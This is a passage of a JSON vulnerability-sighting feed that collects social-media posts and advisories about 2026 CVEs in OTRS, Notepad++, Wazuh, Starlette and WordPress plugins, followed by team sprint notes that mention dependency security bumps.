logout path", "creation_timestamp": "2026-05-31T13:42:34.295210Z"}, {"uuid": "bdcb7935-1441-4b39-a3ea-1a40105ac933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/notepad-plus-plus.org/post/3mn5rlokl3c2g", "content": "Notepad++ new release v8.9.6.2 fixes a bypass scenario in the previously addressed vulnerability (CVE-2026-48778) that was not fully resolved:\nnotepad-plus-plus.org/news/v8962-r...", "creation_timestamp": "2026-05-31T14:28:14.892505Z"}, {"uuid": "5a18f4cb-717a-4ec5-b40e-44760d6e95b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48210", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn6ofw3syy2e", "content": "CVE-2026-48210 - Possible information disclosure via External Interface\nCVE ID : CVE-2026-48210\n \n Published : May 31, 2026, 10:16 p.m. | 15\u00a0minutes ago\n \n Description : An improper default configuration in OTRS 2026.3.1 causes ticket article forwarding actions to enforce the ...", "creation_timestamp": "2026-05-31T23:03:58.494701Z"}, {"uuid": "5fc9175d-c26e-4db4-a0d6-55024bbe76df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mn6zyh5flz2u", "content": "Top 3 CVE for last 7 days:\nCVE-2026-0257: 28 interactions\nCVE-2026-48778: 21 interactions\nCVE-2026-48095: 19 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-48778: 20 interactions\nCVE-2026-0257: 11 interactions\nCVE-2026-8732: 3 interactions\n", "creation_timestamp": "2026-06-01T02:31:11.811835Z"}, {"uuid": "03b0c981-3343-4837-8274-4b4022a3337f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mn6zyh5flz2u", "content": "Top 3 CVE for last 7 days:\nCVE-2026-0257: 28 interactions\nCVE-2026-48778: 21 interactions\nCVE-2026-48095: 19 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-48778: 20 interactions\nCVE-2026-0257: 11 interactions\nCVE-2026-8732: 3 interactions\n", "creation_timestamp": "2026-06-01T02:31:11.962257Z"}, {"uuid": "17420b7b-2f4e-4724-a389-10bb584257e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48770", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116673056260872400", "content": "It is possible to see elevated activities targeting Notepad++ (CVE-2026-48770) https://vuldb.com/vuln/367177/cti", "creation_timestamp": "2026-06-01T04:52:35.223327Z"}, {"uuid": "9866fd07-7a01-4c53-9633-834dba274b94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48188", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7byrnowf2z", "content": "CVE-2026-48188 - SQL Injection via MySQL Quote Method\nCVE ID : CVE-2026-48188\n \n Published : June 1, 2026, 3:33 a.m. | 52\u00a0minutes ago\n \n Description : An improper Input Validation vulnerability in OTRS or ((OTRS)) Community Edition\u00a0database layer module allows an unauthenticat...", "creation_timestamp": "2026-06-01T04:54:32.608699Z"}, {"uuid": "a8a20dac-5721-4952-8eea-a94bf7f18d7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48188", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mn7cctz75a2r", "content": "\ud83d\udd34 CVE-2026-48188 - Critical (9.1)\n\nAn improper Input Validation vulnerability in OTRS or ((OTRS)) Community Edition\u00a0database layer ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48188/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-01T05:00:11.590055Z"}, {"uuid": "990659b9-7588-49de-94b2-1d89262efd10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48188", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mn7cl53ixl2w", "content": "CVE-2026-48188 - Critical SQL injection in OTRS. Unauthenticated attackers can bypass authentication via MySQL/MariaDB with NO_BACKSLASH_ESCAPES mode. CVSS 9.1. No patch available. Disable affected SQL mode immediately. #CVE #OTRS #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48188/", "creation_timestamp": "2026-06-01T05:04:49.404097Z"}, {"uuid": "d754cdf2-7036-4544-82e4-8c1496dad5cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48024", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtocanymmz2t", "content": "CVE-2026-48024\nVersions of Wazuh up to 4.14.6 and early 5.0 allow a cluster member to place specially crafted data that writes files anywhere under the Wazuh installation directory, including the main configuration file.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-22T12:40:03.804544Z"}, {"uuid": "9625d760-c829-4796-861e-5748eb5fcedb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48191", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7jd4vsft2m", "content": "CVE-2026-48191 - Wrong Permission Handling in Document Search Article Meta Filters\nCVE ID : CVE-2026-48191\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : An incorrect handling of permissions in STORM powered by OTRS and in OTRS (2026.x and abo...", "creation_timestamp": "2026-06-01T07:05:36.003623Z"}, {"uuid": "1e1b9fc4-e4ad-4afb-83a8-558d82e0cc74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48208", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7jhzub3w2z", "content": "CVE-2026-48208 - Denial-of-Service via SVG Rendering in Ticket\nCVE ID : CVE-2026-48208\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : An improper neutralization of active SVG content in OTRS or ((OTRS)) Community Edition ticket article renderi...", "creation_timestamp": "2026-06-01T07:08:20.634095Z"}, {"uuid": "08447b39-2a47-46fb-81d2-aba41f815346", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48190", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7jnfxcl52n", "content": "CVE-2026-48190 - Incorrect handling of permissions in External Interface Config Item List module\nCVE ID : CVE-2026-48190\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : An incorrect handling of permissions in OTRS External Interface and the Con...", "creation_timestamp": "2026-06-01T07:11:20.876049Z"}, {"uuid": "a9455ee9-1b09-4e37-ad49-26dc09bfc6f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48209", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7jtf3e432e", "content": "CVE-2026-48209 - Reflected XSS in authenticated agent context\nCVE ID : CVE-2026-48209\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : An improper neutralization of user-controllable input in OTRS or ((OTRS)) Community Edition ticket handling al...", "creation_timestamp": "2026-06-01T07:14:41.516939Z"}, {"uuid": "da46a921-0738-4882-9892-243ae9422629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48187", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7k24cjqt2e", "content": "CVE-2026-48187 - Email with special content can lead to DoS\nCVE ID : CVE-2026-48187\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : An uncontrolled allocation of resources without limits or throttling in the e-mail handling in OTRS allows exces...", "creation_timestamp": "2026-06-01T07:18:26.943400Z"}, {"uuid": "9ac0cf19-010e-4c3c-8f9f-4b0ef6912501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48189", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7l4o2yyv2j", "content": "CVE-2026-48189 - Bypass DedicatedAgentToCustomerGroups Setting\nCVE ID : CVE-2026-48189\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : An improper Input Validation vulnerability in OTRS Customer Backend module allows to access customer informat...", "creation_timestamp": "2026-06-01T07:37:46.499244Z"}, {"uuid": "2c0db4b0-ea22-49ed-a30f-2873f5d6c52d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48770", "type": "seen", "source": "https://infosec.exchange/users/decio/statuses/116674085522619236", "content": "Si vous utilisez Notepad++, pensez \u00e0 v\u00e9rifier votre version : la 8.9.6.2 corrige plusieurs vuln\u00e9rabilit\u00e9s, dont certaines pouvant mener \u00e0 l\u2019ex\u00e9cution de code arbitraire. \ud83d\udc47 https://notepad-plus-plus.org/news/v8961-released/\u2b07\ufe0f https://notepad-plus-plus.org/news/v8962-released/\nUn attaquant pourrait tirer parti de fichiers de configuration ou de raccourcis sp\u00e9cialement modifi\u00e9s pour faire ex\u00e9cuter des commandes \u00e0 notre insu dans certains sc\u00e9narios\nUn PoC public circule d\u00e9j\u00e0, ce qui r\u00e9duit le d\u00e9lai entre la divulgation et les tentatives d\u2019exploitation opportunistes.\u2b07\ufe0f https://github.com/atiilla/Notepad-8.9.6-PoC\nDans les news\u2b07\ufe0f https://thecyberexpress.com/notepad-cve-2026-48770-vulnerability/\n#CyberVeille #NotepadPlusPlus", "creation_timestamp": "2026-06-01T09:14:21.097138Z"}, {"uuid": "8e74f452-ec2e-4272-986e-83a0609e2807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48188", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mn7sg7nmxs2c", "content": "\ud83d\udea8 OTRS users should take note of CVE-2026-48188\n\nA critical unauthenticated SQL injection vulnerability may allow authentication bypass under specific MySQL/MariaDB configurations.\n\n\ud83c\udfab Affects multiple OTRS generations and Community Edition.\n\n\ud83d\udd17 basefortify.eu/cve_reports/...\n\n#OTRS #SQLInjection #CVE", "creation_timestamp": "2026-06-01T09:48:33.190625Z"}, {"uuid": "04e27251-3187-4e63-aa0f-4e4a87061867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4883", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mn7wllwb4z2b", "content": "\u3010\u7dca\u6025\u3011CVE-2026-4883 Piotnet Forms\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\uff5c\u5373\u6642\u5bfe\u5fdc\u304c\u5fc5\u8981\n\nPiotnet Forms\u30d7\u30e9\u30b0\u30a4\u30f3\u306f\u3001\u3059\u3079\u3066\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\uff082.1.40\u3092\u542b\u3080\uff09\u306b\u304a\u3044\u3066\u3001'piotnetforms_ajax_form_builder'\u95a2\u6570\u5185\u3067\u30d5\u30a1\u30a4\u30eb\u30bf\u30a4\u30d7\u306e\u691c\u8a3c\u304c\u6b20\u5982\u3057\u3066\u3044\u308b\u305f\u3081\u3001", "creation_timestamp": "2026-06-01T11:02:59.102331Z"}, {"uuid": "c43ee021-f484-49a8-a586-c204e8b77351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/spinscale.bsky.social/post/3mna4vsvu2r2t", "content": "CVE-2026-48710: A Maintainer's Perspective\n\nInteresting story about a CVE notification from a non-paid open source maintainer perspective, where the other side treated him more as a full time worker on the project.\n\nmarcelotryle.com/blog/2026/05...", "creation_timestamp": "2026-06-01T12:56:04.438942Z"}, {"uuid": "c152ec0e-f4fe-4651-8e1c-6bb0155c5092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48188", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/86816", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48188\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Habuon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-01 11:44:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis is POC repo for CVE-2026-48188\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-01T12:00:06.000000Z"}, {"uuid": "a0d9eacc-b766-45e3-a35c-161b98c63d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48208", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/86815", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48208\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Habuon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-01 11:44:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis is POC repo for CVE-2026-48208\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-01T12:00:04.000000Z"}, {"uuid": "278cd667-0af5-4d5e-810b-ee56d0872f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/foursignalsdev.bsky.social/post/3mnadtt3bpv2l", "content": "BadHost (CVE-2026-48710) bypasses Starlette auth via malformed Host headers. Affects 325M weekly downloads, exposing AI agents, LLM gateways, and MCP servers. Patch Starlette and enforce Host validation at edge.", "creation_timestamp": "2026-06-01T15:02:22.806416Z"}, {"uuid": "dc2b4802-b5e9-4293-a5f7-878130f28bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48131", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mnahfglczl2k", "content": "~Checkpoint~\nWeekly threat intel highlights major data breaches, AI-driven campaigns, and active exploitation of PAN-OS and Ghost CMS vulnerabilities.\n-\nIOCs: CVE-2026-0257, CVE-2026-26980, CVE-2026-48131\n-\n#DataBreach #ThreatIntel #Vulnerabilities", "creation_timestamp": "2026-06-01T16:03:46.679860Z"}, {"uuid": "8651ef6b-251a-4077-9364-e3d118a1b80d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48119", "type": "published-proof-of-concept", "source": "https://github.com/nezhahq/nezha/security/advisories/GHSA-4g6j-g789-rghm", "content": "", "creation_timestamp": "2026-05-21T03:14:40.000000Z"}, {"uuid": "7c5e9f44-3a5f-4caa-b975-4f8a426fbe48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48865", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnak3ugcll2k", "content": "CVE-2026-48865 - WordPress LearnPress plugin\nCVE ID : CVE-2026-48865\n \n Published : June 1, 2026, 3:16 p.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPress LearnPress allo...", "creation_timestamp": "2026-06-01T16:52:05.969724Z"}, {"uuid": "15f711c4-7bd3-4359-b703-b28642895b4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48839", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnakqabqqm2p", "content": "CVE-2026-48839 - WordPress WP Statistics plugin\nCVE ID : CVE-2026-48839\n \n Published : June 1, 2026, 3:16 p.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VeronaLabs WP Statisti...", "creation_timestamp": "2026-06-01T17:03:29.174363Z"}, {"uuid": "311ecd17-2735-4ed3-8799-9a4b454dfbaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mnbkhiii6g2s", "content": "Top 3 CVE for last 7 days:\nCVE-2026-0257: 34 interactions\nCVE-2026-48778: 22 interactions\nCVE-2026-48095: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-41089: 12 interactions\nCVE-2026-8732: 9 interactions\nCVE-2026-44962: 8 interactions\n", "creation_timestamp": "2026-06-02T02:31:15.891369Z"}, {"uuid": "1a5e4fc7-d7b8-4f42-8bdc-2ae9ffebce7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mnbkhiii6g2s", "content": "Top 3 CVE for last 7 days:\nCVE-2026-0257: 34 interactions\nCVE-2026-48778: 22 interactions\nCVE-2026-48095: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-41089: 12 interactions\nCVE-2026-8732: 9 interactions\nCVE-2026-44962: 8 interactions\n", "creation_timestamp": "2026-06-02T02:31:16.038111Z"}, {"uuid": "42433f6d-cceb-4512-8476-fbf0f961f0c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://www.acn.gov.it/portale/w/operational-summary-luglio-2026-1", "content": "", "creation_timestamp": "2026-08-20T12:45:02.827645Z"}, {"uuid": "d40906cb-cd3d-423f-8455-a4a5dd9fef01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/56b427b96dd5b8a794a597b4b6594b17", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83e\udd73Testing**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83e\udd73Testing**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\u2600\ufe0fIn review**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)", "creation_timestamp": "2026-06-02T10:58:37.000000Z"}, {"uuid": "ab1b5012-dc37-428d-9c45-c53a93f90ad1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/c680e146cb0d22f7bc34fd5163a1a472", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83e\udd73Testing**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83e\udd73Testing**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83e\udd73Testing**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\u2600\ufe0fIn review**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / 